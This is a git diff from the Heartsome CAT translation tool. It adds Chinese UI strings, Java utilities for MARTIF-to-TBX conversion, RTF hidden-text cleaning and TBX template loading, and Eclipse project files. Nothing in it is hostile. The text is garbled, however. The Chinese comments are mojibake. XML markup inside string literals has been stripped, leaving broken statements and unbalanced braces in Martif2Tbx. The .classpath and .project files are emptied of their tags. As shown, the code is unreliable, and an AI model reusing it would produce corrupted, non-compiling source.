\u7248\u672c\uff1a1.1.0 +dialog.XSLTransformationDialog.fileDialogTitle1 = \u9009\u62e9\u6e90\u6587\u4ef6 +dialog.XSLTransformationDialog.filters1 = XLIFF \u6587\u4ef6 [*.hsxliff] +dialog.XSLTransformationDialog.filters2 = SDLXLIFF \u6587\u4ef6 [*.sdlxliff] +dialog.XSLTransformationDialog.filters3 = TMX \u6587\u4ef6 [*.tmx] +dialog.XSLTransformationDialog.filters4 = TBX \u6587\u4ef6 [*.tbx] +dialog.XSLTransformationDialog.filters5 = XML \u6587\u4ef6 [*.xml] +dialog.XSLTransformationDialog.filters6 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.XSLTransformationDialog.fileDialogTitle2 = \u9009\u62e9 XSL \u6837\u5f0f\u8868\u6587\u4ef6 +dialog.XSLTransformationDialog.filters7 = XSL \u6837\u5f0f\u8868\u6587\u4ef6 [*.xsl] +dialog.XSLTransformationDialog.fileDialogTitle3 = \u4fdd\u5b58\u5df2\u8f6c\u6362\u7684\u6587\u4ef6 +dialog.XSLTransformationDialog.ok = \u8f6c\u6362 +dialog.XSLTransformationDialog.cancel = \u53d6\u6d88 +dialog.XSLTransformationDialog.msgTitle = \u63d0\u793a +dialog.XSLTransformationDialog.msg1 = \u8bf7\u9009\u62e9\u6e90\u6587\u4ef6\u3002 +dialog.XSLTransformationDialog.msg2 = \u8bf7\u9009\u62e9 XSL \u6837\u5f0f\u8868\u6587\u4ef6\u3002 +dialog.XSLTransformationDialog.msg3 = \u8bf7\u9009\u62e9\u8f93\u51fa\u6587\u4ef6\u3002 +dialog.XSLTransformationDialog.msg4 = \u5df2\u6210\u529f\u5b8c\u6210\u8f6c\u6362\u3002 +dialog.XSLTransformationDialog.msg5 = \u6253\u5f00\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.XSLTransformationDialog.logger1 = [LOG] \u8f6c\u6362\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.XSLTransformationDialog.msg6 = \u5f53\u524d Java \u7248\u672c\u4e0d\u5b8c\u5168\u652f\u6301\u3002 + +util.Martif2Tbx.msg1 = \u8be5\u6587\u4ef6\u4e0d\u662f MARTIF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +util.PluginUtil.logger1 = [LOG] \u83b7\u53d6\u56fe\u7247\u8def\u5f84\u65f6\u51fa\u73b0\u9519\u8bef +util.RTFCleaner.logger1 = [LOG] \u6e05\u7406 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +util.RTFCleaner.msg1 = \u8be5 RTF \u6587\u4ef6\u7684\u683c\u5f0f\u4e0d\u6b63\u786e\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 + +############################# 2012-10-29 \u6dfb\u52a0 #################################### +dialog.CSV2TMXConverterDialog.aboutItemName = CSVConverter +dialog.JavaPropertiesViewerDialog.aboutItemName = PropViewer +dialog.JavaPropertiesViewerDialog.version = \u7b2c 1.1.0 \u7248 +dialog.TMX2TXTConverterDialog.aboutItemName = TMX to TXT Converter +dialog.TMX2TXTConverterDialog.version = \u7b2c 1.1.0 \u7248 +dialog.TMXValidatorDialog.aboutItemName = TMXValidator +dialog.TMXValidatorDialog.version = \u7b2c 1.1.0 \u7248 +dialog.CSV2TMXConverterDialog.helpDialogTitle = CSV to TMX Converter +dialog.TBXMakerDialog.helpDialogTitle = TBX Maker +dialog.PluginHelpDialog.title = \u5e2e\u52a9\u6587\u4ef6\u67e5\u770b\u5668 +dialog.PluginHelpDialog.fileMenuItem = \u6587\u4ef6(&F) +dialog.PluginHelpDialog.openFileItem = \u6253\u5f00\u6587\u4ef6 +dialog.PluginHelpDialog.exitItem = \u9000\u51fa +dialog.PluginHelpDialog.editMenu = \u7f16\u8f91(&E) +dialog.PluginHelpDialog.searchItem = \u67e5\u627e\u6587\u672c +dialog.PluginHelpDialog.goMenu = \u8f6c\u5230(&G) +dialog.PluginHelpDialog.backItem = \u540e\u9000 +dialog.PluginHelpDialog.forwardItem = \u524d\u8fdb +dialog.PluginHelpDialog.homeItem = \u4e3b\u9875 +dialog.PluginHelpDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.PluginHelpDialog.aboutItem = \u5173\u4e8e... +dialog.PluginHelpDialog.filterNames0 = \u5e2e\u52a9\u6587\u4ef6[*.xml] +dialog.PluginHelpDialog.filterNames1 = \u6240\u6709\u6587\u4ef6[*.*] +dialog.PluginHelpDialog.searchTitle = \u641c\u7d22\u7ed3\u679c +dialog.PluginHelpDialog.progressDialogTitle = \u67e5\u627e\u6587\u672c +dialog.PluginHelpDialog.progressMessage = \u6b63\u5728\u641c\u7d22... +dialog.PluginHelpDialog.searchNone = \u627e\u4e0d\u5230\u6587\u672c +dialog.PluginHelpDialog.AboutDialog.title = \u5e2e\u52a9\u6587\u4ef6\u67e5\u770b\u5668 +dialog.HelpSearchDialog.title = \u67e5\u627e\u6587\u672c +dialog.HelpSearchDialog.lblSearch = \u9700\u8981\u67e5\u627e\u7684\u6587\u672c +dialog.HelpSearchDialog.btnSensitive = \u641c\u7d22\u533a\u5206\u5927\u5c0f\u5199 +dialog.HelpSearchDialog.ok = \u67e5\u627e\u6587\u672c diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/Martif2Tbx.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/Martif2Tbx.java new file mode 100644 index 0000000..078089a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/Martif2Tbx.java @@ -0,0 +1,233 @@ +package net.heartsome.cat.ts.ui.plugin.util; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; + +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * å°† MARTIF 文件转æ¢ä¸º TBX 文件(å‚考了 R7 中 net.heartsome.plugin.martif2tbx.model.Martif2Tbx + * 类的代ç ï¼Œå°†å…¶æ”¹æˆäº† VTD 实现) + * @author peason + * @version + * @since JDK1.6 + */ +public class Martif2Tbx { + + /** tbx 标准中的语言属性å称 */ + private static String tbxLangDescriptor = "xml:lang"; + + /** martif 标准中的语言属性å称 */ + private static String martifLangDescriptor = "lang"; + + /** id 属性å称 */ + private static String idDescriptor = "id"; + + /** TBX æ–‡ä»¶è¾“å‡ºæµ */ + private FileOutputStream fos; + + /** + * 构造方法 + */ + public Martif2Tbx() { + + } + + /** + * 创建 TBX 文件,åˆå§‹åŒ– fos 对象 + * @param mainLanguage + * è¯­è¨€ä»£ç  + * @param tbxFilePath + * tbx 文件路径 + * @throws Exception + * ; + */ + private void createDocument(String mainLanguage, String tbxFilePath) throws Exception { + fos = new FileOutputStream(tbxFilePath); + writeString("\n"); + writeString("\n"); + String str = "\n"); + } + + private void writeString(String input) throws UnsupportedEncodingException, IOException { + fos.write(input.getBytes("UTF-8")); + } + + /** + * 删除 martif 文件中的 Doctype + * @param input + * martif 文件路径 + * @param output + * 临时文件路径 + * @throws Exception + * ; + */ + private void removeDocTypeDeclaration(String input, String output) throws Exception { + FileInputStream is = new FileInputStream(input); + FileOutputStream os = new FileOutputStream(output); + int size = is.available(); + byte[] array = new byte[size]; + is.read(array); + String file = new String(array, "UTF-8"); + // remove xml declaration and doctype + int begin = file.indexOf("<" + "martif"); + if (begin != -1) { + os.write("".getBytes("UTF-8")); + os.write(file.substring(begin).getBytes("UTF-8")); + } else { + throw new Exception(Messages.getString("util.Martif2Tbx.msg1")); + } + is.close(); + os.close(); + } + + /** + * å°† martif 文件转æ¢ä¸º TBX 文件 + * @param filename + * martif 路径åŠæ–‡ä»¶å + * @param output + * tbx 文件路径åŠæ–‡ä»¶å + * @throws Exception + * ; + */ + public void convertFile(String filename, String output) throws Exception { + File temp = File.createTempFile("tmp", ".xml"); //$NON-NLS-1$ //$NON-NLS-2$ + removeDocTypeDeclaration(filename, temp.getAbsolutePath()); + VTDGen vg = new VTDGen(); + if (vg.parseFile(temp.getAbsolutePath(), true)) { + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/martif"); + if (ap.evalXPath() == -1) { + throw new Exception(Messages.getString("util.Martif2Tbx.msg1")); + } + String lang = vu.getCurrentElementAttribut(martifLangDescriptor, null); + createDocument(lang, output); + ap.selectXPath("/martif/martifHeader"); + if (ap.evalXPath() != -1) { + vn.push(); + String martifRevisionDesc = vu.getChildContent("revisionDesc"); + if (martifRevisionDesc != null) { + writeString("\n"); + writeString(martifRevisionDesc); + writeString("\n"); + } + vn.pop(); + vn.push(); + String martifDatabaseDesc = vu.getChildContent("databaseDesc"); + if (martifDatabaseDesc != null) { + writeString("\n"); + writeString(martifDatabaseDesc); + writeString("\n"); + } + writeString("\n"); + vn.pop(); + } + ap.selectXPath("/martif/text/body/termEntry"); + writeString("\n"); + writeString("\n"); + AutoPilot ap3 = new AutoPilot(vn); + while (ap.evalXPath() != -1) { + String id = vu.getCurrentElementAttribut(idDescriptor, null); + String termEntry = "\n"); + AutoPilot ap4 = new AutoPilot(vn); + ap4.selectXPath("./ntig/termGrp/*"); + writeString("\n"); + writeString("\n"); + while (ap4.evalXPath() != -1) { + String nodeName = vu.getCurrentElementName(); + if (nodeName.equals("term")) { + writeString(vu.getElementFragment()); + writeString("\n"); + } else { + String type = vu.getCurrentElementAttribut("type", ""); + if (!type.equals("")) { + writeString("\n"); + writeString(vu.getElementContent()); + writeString("\n"); + } + } + } + writeString("\n"); + writeString("\n"); + writeString("\n"); + } else { + // String xpath2 = "./*[not(name()='note' or name()='langSet')]"; + int index = -1; + if ((index = vn.getAttrVal("type")) != -1) { + String type = vn.toString(index); + String content = getChildElementPureText(vn); + writeString("\n"); + writeString(content); + writeString("\n"); + } + } + } + writeString("\n"); + vn.pop(); + } + writeString("\n"); + writeString("\n"); + writeString(""); + } + } + + /** + * 得到当å‰å­èŠ‚点的纯文本。实体会被转义。若无文本内容返回 null。 + * @exception XPathParseException + * ,XPathEvalException,NavException + */ + public String getChildElementPureText(VTDNav vn) throws XPathParseException, XPathEvalException, NavException { + String txtNode = ".//text()"; + AutoPilot ap = new AutoPilot(vn); + StringBuilder result = new StringBuilder(); + ap.selectXPath(txtNode); + int txtIndex = -1; + boolean isNull = true; + while ((txtIndex = ap.evalXPath()) != -1) { + result.append(vn.toString(txtIndex)); + if (isNull) { + isNull = false; + } + } + + return isNull ? null : result.toString(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/PluginUtil.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/PluginUtil.java new file mode 100644 index 0000000..64b464a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/PluginUtil.java @@ -0,0 +1,87 @@ +package net.heartsome.cat.ts.ui.plugin.util; + +import java.io.File; +import java.io.IOException; +import java.net.URL; + +import net.heartsome.cat.ts.ui.plugin.Activator; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class PluginUtil { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class); + + /** + * æ ¹æ®ç›¸å¯¹è·¯å¾„获å–ç»å¯¹è·¯å¾„ + * @param relativePath + * @return ; + */ + public static String getAbsolutePath(String relativePath) { + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL defaultUrl = buddle.getEntry(relativePath); + String imagePath = relativePath; + try { + imagePath = new File(FileLocator.toFileURL(defaultUrl).getPath()).getAbsolutePath(); + } catch (IOException e) { + LOGGER.error(Messages.getString("util.PluginUtil.logger1"), e); + e.printStackTrace(); + } + return imagePath; + } + + /** + * èŽ·å– catalogue.xml 所在路径 + * @return ; + */ + public static String getCataloguePath() { + String path = Platform.getConfigurationLocation().getURL().getPath(); + String catalogPath = path + "net.heartsome.cat.converter" + System.getProperty("file.separator") + "catalogue" + + System.getProperty("file.separator") + "catalogue.xml"; + return catalogPath; + } + + /** + * èŽ·å– XCS 模æ¿æ‰€åœ¨è·¯å¾„ + * @return ; + */ + public static String getTemplatePath() { + String path = Platform.getConfigurationLocation().getURL().getPath(); + String templatePath = path + "net.heartsome.cat.converter" + System.getProperty("file.separator") + "templates"; + return templatePath; + } + + public static String getConfigurationFilePath(String filePath) { + StringBuffer configPath = new StringBuffer( + new File(Platform.getConfigurationLocation().getURL().getPath()).getAbsolutePath()); + return configPath.append(File.separator).append("net.heartsome.cat.ts.ui.plugin").append(File.separator).append(filePath).toString(); + } + + /** + * 创建 Label,文本å³å¯¹é½ + * @param parent + * 父控件 + * @param text + * Label 上显示的文本 + */ + public static void createLabel(Composite parent, String text) { + Label lbl = new Label(parent, SWT.None); + lbl.setText(text); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(lbl); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/RTFCleaner.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/RTFCleaner.java new file mode 100644 index 0000000..d4ba0f9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/RTFCleaner.java @@ -0,0 +1,240 @@ +package net.heartsome.cat.ts.ui.plugin.util; + +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.util.Hashtable; +import java.util.Stack; +import java.util.StringTokenizer; +import java.util.Vector; + +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æ¸…ç† RTF 文件(与 R7 中 net.heartsome.plugin.rtfcleaner.RTFCleaner + * 类代ç ä¸€æ ·ï¼‰ + * @author peason + * @version + * @since JDK1.6 + */ +public class RTFCleaner { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class); + + private static FileInputStream input; + private static FileOutputStream output; + private static String content; + private static Hashtable styles; + private static Hashtable chars; + private static int EOFStyles; + + /** + * ç§æœ‰æž„造方法 + */ + private RTFCleaner() { + // do not instantiate this class + } + + public static Vector run(Hashtable table) { + + Vector result = new Vector(); + try { + String inputFile = table.get("source"); //$NON-NLS-1$ + String outputFile = table.get("output"); //$NON-NLS-1$ + + // read the file into a String + + input = new FileInputStream(inputFile); + int size = input.available(); + byte[] array = new byte[size]; + input.read(array); + content = new String(array, "US-ASCII"); //$NON-NLS-1$ + array = null; + input.close(); + + content = content.replaceAll("\\\\\\{", "\uE001"); //$NON-NLS-1$ //$NON-NLS-2$ + content = content.replaceAll("\\\\\\}", "\uE002"); //$NON-NLS-1$ //$NON-NLS-2$ + content = content.replaceAll("\\\\\\\\", "\uE003"); //$NON-NLS-1$ //$NON-NLS-2$ + + buildStyleSheet(); + fillChars(); + + String leftPart = content.substring(0, EOFStyles); + content = content.substring(EOFStyles); + + removeHidden(); + + output = new FileOutputStream(outputFile); + + leftPart = leftPart.replaceAll("\uE001", "\\\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + leftPart = leftPart.replaceAll("\uE002", "\\\\}"); //$NON-NLS-1$ //$NON-NLS-2$ + leftPart = leftPart.replaceAll("\uE003", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + output.write(leftPart.getBytes("US-ASCII")); //$NON-NLS-1$ + + content = content.replaceAll("\uE001", "\\\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + content = content.replaceAll("\uE002", "\\\\}"); //$NON-NLS-1$ //$NON-NLS-2$ + content = content.replaceAll("\uE003", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + output.write(content.getBytes("US-ASCII")); //$NON-NLS-1$ + output.close(); + + result.add("0"); //$NON-NLS-1$ + } catch (Exception e) { + LOGGER.error(Messages.getString("util.RTFCleaner.logger1"), e); + result.add("1"); //$NON-NLS-1$ + result.add(e.getMessage()); + } + return result; + } + + /** + * åˆå§‹åŒ– chars å˜é‡ + * ; + */ + private static void fillChars() { + chars = new Hashtable(); + chars.put("\\emdash", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\endash", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\lquote", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\rquote", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\ldblquote", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\rdblquote", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\tab", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\enspace", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\emspace", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\qmspace", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\~", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\_", ""); //$NON-NLS-1$ //$NON-NLS-2$ + chars.put("\\-", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + + private static void removeHidden() throws Exception { + Stack stack = new Stack(); + stack.push(new Boolean(false)); + boolean inHidden = false; + StringTokenizer tk = new StringTokenizer(content, "{}\\", true); //$NON-NLS-1$ + StringBuffer buffer = new StringBuffer(); + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("{")) { //$NON-NLS-1$ + stack.push(new Boolean(inHidden)); + buffer.append(token); + continue; + } + if (token.equals("}")) { //$NON-NLS-1$ + if (!stack.isEmpty()) { + inHidden = stack.pop().booleanValue(); + } else { + throw new Exception(Messages.getString("util.RTFCleaner.msg1")); //$NON-NLS-1$ + } + buffer.append(token); + continue; + } + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + if (token.matches("\\\\pard.*")) { //$NON-NLS-1$ + inHidden = false; + stack.pop(); + stack.push(new Boolean(false)); + } + String control = getControl(token); + if (control.equals("\\v0")) { //$NON-NLS-1$ + inHidden = false; + } + if (control.equals("\\v")) { //$NON-NLS-1$ + control = ""; //$NON-NLS-1$ + inHidden = true; + } + if (styles.containsKey(control)) { + inHidden = true; + } + if (inHidden) { + if (control.matches("\\\\uc.*")) { //$NON-NLS-1$ + control = ""; //$NON-NLS-1$ + } else if (control.matches("\\\\u[0-9]+.*")) { //$NON-NLS-1$ + control = ""; //$NON-NLS-1$ + } else if (control.matches("\\\\\'.*")) { //$NON-NLS-1$ + control = ""; //$NON-NLS-1$ + } else if (chars.containsKey(control)) { + control = ""; //$NON-NLS-1$ + } + buffer.append(control); + } else { + buffer.append(token); + } + } + content = buffer.toString(); + } + + private static String getControl(String token) { + StringBuffer buffer = new StringBuffer(); + int i = 0; + for (; i < token.length(); i++) { + char c = token.charAt(i); + if (c == '\\' || c == '*') { + buffer.append(c); + } else { + break; + } + } + for (; i < token.length(); i++) { + char c = token.charAt(i); + if (c == '\'') { + buffer.append(c); + buffer.append(token.charAt(i + 1)); + buffer.append(token.charAt(i + 2)); + return buffer.toString(); + } + if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'))) { + break; + } + buffer.append(c); + } + for (; i < token.length(); i++) { + char c = token.charAt(i); + if ((c >= '0' && c <= '9') || c == '-') { + buffer.append(c); + } else { + break; + } + } + return buffer.toString(); + } + + private static void buildStyleSheet() { + int i = content.indexOf('{', content.indexOf("\\stylesheet") + 11); //$NON-NLS-1$ + int level = 0; + StringBuffer buffer = new StringBuffer(); + styles = new Hashtable(); + while (level >= 0) { + char c = content.charAt(i++); + buffer.append(c); + if (c == '{') { + level++; + } + if (c == '}') { + level--; + } + if (level == 0) { + String style = buffer.toString().trim(); + if (style.matches(".*\\\\v[^0].*")) { //$NON-NLS-1$ + StringTokenizer tk = new StringTokenizer(style, "\\"); //$NON-NLS-1$ + while (tk.hasMoreElements()) { + String token = tk.nextToken(); + if (token.matches(".*cs[0-9]+.*")) { //$NON-NLS-1$ + styles.put("\\" + token.trim(), ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + buffer = null; + buffer = new StringBuffer(); + } + } + EOFStyles = i; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/TBXTemplateUtil.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/TBXTemplateUtil.java new file mode 100644 index 0000000..f15e707 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/util/TBXTemplateUtil.java @@ -0,0 +1,152 @@ +package net.heartsome.cat.ts.ui.plugin.util; + +import java.io.File; +import java.io.IOException; +import java.util.Iterator; +import java.util.List; +import java.util.Vector; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.util.CommonFunctions; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.xml.sax.SAXException; + +/** + * 该类与 net.heartsome.util.TbxTemplate 类似,由于 TbxTemplate 中的 XCS 模æ¿è·¯å¾„是写在代ç ä¸­çš„, + * ä¸èƒ½ç›´æŽ¥è°ƒç”¨ï¼Œå› æ­¤å†™äº†ä¸€ä¸ªä¸Ž TbxTemplate 类似的类 + * @author peason + * @version + * @since JDK1.6 + */ +public class TBXTemplateUtil { + + private static final Logger LOGGER = LoggerFactory.getLogger(TBXTemplateUtil.class); + + private Vector items; + + private String templateFileName; + + private String templatePath; + + private Document document; + + public static String teLevel = "termEntry"; //$NON-NLS-1$ + public static String lsLevel = "langSet"; //$NON-NLS-1$ + public static String termLevel = "term"; //$NON-NLS-1$ + + public static String termNoteSpec = "termNoteSpec"; //$NON-NLS-1$ + public static String descripSpec = "descripSpec"; //$NON-NLS-1$ + public static String adminSpec = "adminSpec"; + + public TBXTemplateUtil(String templateFile, String templatePath, String catalogueFile) throws Exception { + this.templateFileName = templateFile; + this.templatePath = templatePath; + this.items = new Vector(); + loadTemplate(catalogueFile); + } + + public String getTemplateFileName() { + return templateFileName; + } + + private void loadTemplate(String catalogueFile) throws SAXException, ParserConfigurationException, IOException { + SAXBuilder builder = new SAXBuilder(); + if (!catalogueFile.equals("")) { //$NON-NLS-1$ + Catalogue cat = new Catalogue(catalogueFile); + builder.setEntityResolver(cat); + builder.setValidating(true); + } + File templateFile = new File(templatePath, templateFileName); //$NON-NLS-1$ + document = builder.build(templateFile.getAbsolutePath()); + Element tbxXCS = document.getRootElement(); + Element datCatSet = tbxXCS.getChild("datCatSet"); //$NON-NLS-1$ + if (datCatSet != null) { + List specs = datCatSet.getChildren(); + Iterator specsIt = specs.iterator(); + while (specsIt.hasNext()) { + Element spec = specsIt.next(); + Element contents = spec.getChild("contents"); //$NON-NLS-1$ + if (contents != null) { + items.add(spec); + } + } + } + } + + public int getItemCount() { + return items.size(); + } + + public String getItemLevels(int item) { + Element spec = items.get(item); + Element levels = spec.getChild("levels"); //$NON-NLS-1$ + if (levels != null) { + return levels.getText(); + } + return ""; //$NON-NLS-1$ + } + + public String getSpecName(int item) { + Element spec = items.get(item); + return spec.getName(); + } + + public String getItemDescription(int item) { + Element spec = items.get(item); + String itemDesc = spec.getAttributeValue("display"); //$NON-NLS-1$ + if (itemDesc.equals("")) { //$NON-NLS-1$ + return getItemName(item); + } + return itemDesc; + } + + public String getItemName(int item){ + Element spec = items.get(item); + return spec.getAttributeValue("name"); //$NON-NLS-1$ + } + + public static Vector getTemplateFiles(String catalogueFile, String templatePath, boolean needArray) { + Vector result = new Vector(); + File templateDir = new File(templatePath); + String[] contents = templateDir.list(); + if (contents != null) { + for (int i = 0; i < contents.length; i++) { + File currentFile = new File(templateDir.getAbsolutePath(), contents[i]); + if (currentFile.isFile()) { + try { + SAXBuilder builder = new SAXBuilder(); + if (!catalogueFile.equals("")) { //$NON-NLS-1$ + Catalogue cat = new Catalogue(catalogueFile); + builder.setEntityResolver(cat); + } + Document doc = builder.build(currentFile.getAbsolutePath()); + Element tbxXCS = doc.getRootElement(); + Element datCatSet = tbxXCS.getChild("datCatSet"); //$NON-NLS-1$ + if (datCatSet != null) { + result.add(currentFile.getName()); + } + } catch (Exception e) { + LOGGER.error("", e); + } + } + } + } + + return result; + } + + public static Vector getTemplateFiles(String catalogueFile, boolean needArray) { + return getTemplateFiles(catalogueFile, "templates", needArray); + } + + public static String[] getTemplateFiles(String catalogueFile, String templatePath) { + return CommonFunctions.Vector2StringArray(getTemplateFiles(catalogueFile, templatePath, false)); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/.classpath b/ts/net.heartsome.cat.ts.ui.qa/.classpath new file mode 100644 index 0000000..73941fd --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.qa/.gitignore b/ts/net.heartsome.cat.ts.ui.qa/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/ts/net.heartsome.cat.ts.ui.qa/.project b/ts/net.heartsome.cat.ts.ui.qa/.project new file mode 100644 index 0000000..4a01a5f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui.qa + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui.qa/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui.qa/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0f0b703 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Sat Dec 17 10:48:06 CST 2011 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.ui.qa/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui.qa/META-INF/MANIFEST.MF new file mode 100644 index 0000000..2f2c64b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/META-INF/MANIFEST.MF @@ -0,0 +1,47 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI QA +Bundle-SymbolicName: net.heartsome.cat.ts.ui.qa;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130426 +Bundle-Activator: net.heartsome.cat.ts.ui.qa.Activator +Require-Bundle: org.eclipse.swt, + org.eclipse.core.runtime, + org.eclipse.ui, + net.heartsome.cat.ts.ui;bundle-version="1.0.0", + net.heartsome.cat.ts.core, + org.eclipse.nebula.widgets.tablecombo, + net.heartsome.cat.ts.tb;bundle-version="1.0.0", + net.heartsome.cat.ts.tm;bundle-version="1.0.0", + net.heartsome.cat.common.core, + net.heartsome.cat.ts.help;bundle-version="1.0.0", + org.eclipse.help.ui;bundle-version="3.5.100" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.resources, + net.heartsome.cat.common.tm, + net.heartsome.cat.common.ui, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.handlers, + net.heartsome.cat.common.ui.innertag, + net.heartsome.cat.common.ui.languagesetting, + net.heartsome.cat.common.ui.utils, + net.heartsome.cat.common.util, + net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.core.qa, + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor, + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa, + net.heartsome.cat.ts.util, + org.eclipse.core.resources, + org.eclipse.jface.viewers, + org.eclipse.nebula.jface.tablecomboviewer, + org.eclipse.swt, + org.eclipse.ui.part, + org.slf4j +Bundle-ClassPath: ., + lib/jna.jar +Bundle-Localization: plugin +Export-Package: net.heartsome.cat.ts.ui.qa, + net.heartsome.cat.ts.ui.qa.fileAnalysis, + net.heartsome.cat.ts.ui.qa.preference, + net.heartsome.cat.ts.ui.qa.views +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui.qa/build.properties b/ts/net.heartsome.cat.ts.ui.qa/build.properties new file 